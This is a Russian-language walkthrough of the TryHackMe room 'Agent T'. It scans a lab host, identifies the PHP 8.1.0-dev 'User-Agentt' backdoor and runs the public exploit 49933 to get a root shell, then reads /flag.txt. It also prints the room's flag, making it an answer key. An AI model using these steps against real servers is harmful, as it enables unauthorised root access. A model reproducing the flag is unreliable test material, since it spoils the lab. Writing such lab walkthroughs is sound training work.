

Agent T

<https://tryhackme.com/room/agentt>

Привет! Начнем!

Как всегда, начинаем со сканирования nmap:

- `nmap -A 10.114.158.244`

```
(kali@kali)-[~]
$ nmap -A 10.114.158.244
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-03 07:22 -0400
Nmap scan report for 10.114.158.244
Host is up (0.072s latency).
Not shown: 999 closed tcp ports (reset)
PORT      STATE SERVICE
80/tcp    open  http   PHP cli server 5.5 or later (PHP 8.1.0-dev)
|_http-title: Admin Dashboard
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 3 hops

TRACEROUTE (using port 8888/tcp)
HOP RTT      ADDRESS
1   59.36 ms  192.168.128.1
2   ...
3   61.39 ms  10.114.158.244

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.31 seconds
```

Видим, что открыт 80 порт http, так же определилась версия клиента PHP 8.1.0-dev, эксплойт на которую мы попробуем найти:

- `searchsploit php 8.1.0`

Exploit Title	Path
autonomous lan party 0.98.1.0 - Remote File Inclusion	php/webapps/1654.txt
Axigen < 10.5.7 - Persistent Cross-Site Scripting	php/webapps/51963.txt
Composr-CMS Version ≤10.0.39 - Authenticated Remote Code Execution	php/webapps/51060.txt
Concrete5 CMS 8.1.0 - 'Host' Header Injection	php/webapps/41885.txt
Concrete5 CMS < 8.3.0 - Username / Comments Enumeration	php/webapps/44194.py
cPanel < 11.25 - Cross-Site Request Forgery (Add User PHP Script)	php/webapps/17330.html
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution	php/webapps/44449.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit)	php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit)	php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (PoC)	php/webapps/44448.py
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)	php/remote/46510.rb
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)	php/remote/46510.rb
Drupal < 8.6.10 / < 8.5.11 - REST Module Remote Code Execution	php/webapps/46452.txt
Drupal < 8.6.9 - REST Module Remote Code Execution	php/webapps/46459.py
FileRun < 2017.09.18 - SQL Injection	php/webapps/42922.py
Foxxcom Shopping < 7.94 / < 8.04 - Multiple Vulnerabilities	php/webapps/15571.txt
FreePBX < 13.0.188 - Remote Command Execution (Metasploit)	php/remote/40434.rb
IceWarp Mail Server < 11.1.1 - Directory Traversal	php/webapps/44587.txt
KACE System Management Appliance (SMA) < 9.0.270 - Multiple Vulnerabilities	php/webapps/46956.txt
Kaltura < 13.2.0 - Remote Code Execution	php/webapps/43028.py
Kaltura Community Edition < 11.1.0-2 - Multiple Vulnerabilities	php/webapps/39563.txt
Micro Focus Secure Messaging Gateway (SMG) < 471 - Remote Code Execution (Metasploit)	php/webapps/45083.rb
Micro Focus Secure Messaging Gateway (SMG) < 471 - Remote Code Execution (Metasploit)	php/webapps/45083.rb
NPDS < 08.06 - Multiple Input Validation Vulnerabilities	php/webapps/32689.txt
OPNsense < 19.1.1 - Cross-Site Scripting	php/webapps/46351.txt
PHP 8.1.0-dev - 'User-Agent' Remote Code Execution	php/webapps/49933.py
PHP < 8.3.8 - Remote Code Execution (Unauthenticated) (Windows)	php/webapps/52047.py
PHP-Nuke 8.1.0.3.5b (Your Account Module) - Blind SQL Injection (Benchmark Mode)	php/webapps/14320.pl
PHP-Nuke 8.1.0.3.5b - 'Downloads' Blind SQL Injection	php/webapps/18148.pl
PHP-Nuke 8.1.0.3.5b - Remote Command Execution	php/webapps/14319.pl

Также, можем найти его на сайте exploit-db:

PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution

EDB-ID:

49933

CVE:

N/A

Author:

FLAST101

Type:

WEBAPPS

Platform:

PHP

Date:

2021-06-03

EDB Verified: ✓**Exploit:**  / **Vulnerable App:**

```
# Exploit Title: PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution
# Date: 23 may 2021
# Exploit Author: flast101
# Vendor Homepage: https://www.php.net/
# Software Link:
#   - https://hub.docker.com/r/phpdaily/php
#   - https://github.com/phpdaily/php
# Version: 8.1.0-dev
# Tested on: Ubuntu 20.04
# References:
#   - https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a
#   - https://github.com/vulhub/vulhub/blob/master/php/8.1-backdoor/README.zh-cn.md
```

Запустим эксплойт:

```
(kali@kali)-[~]
$ python3 ~/Desktop/49933.py
Enter the full host url:
http://10.114.158.244

Interactive shell is opened on http://10.114.158.244
Can't access tty; job control turned off.
$ id
uid=0(root) gid=0(root) groups=0(root)

$ find / -name flag.txt
/flag.txt

$ cat /flag.txt
flag{4127d0530abf16d6d23973e3df8dbecb}
$
```

Flag - flag{4127d0530abf16d6d23973e3df8dbecb}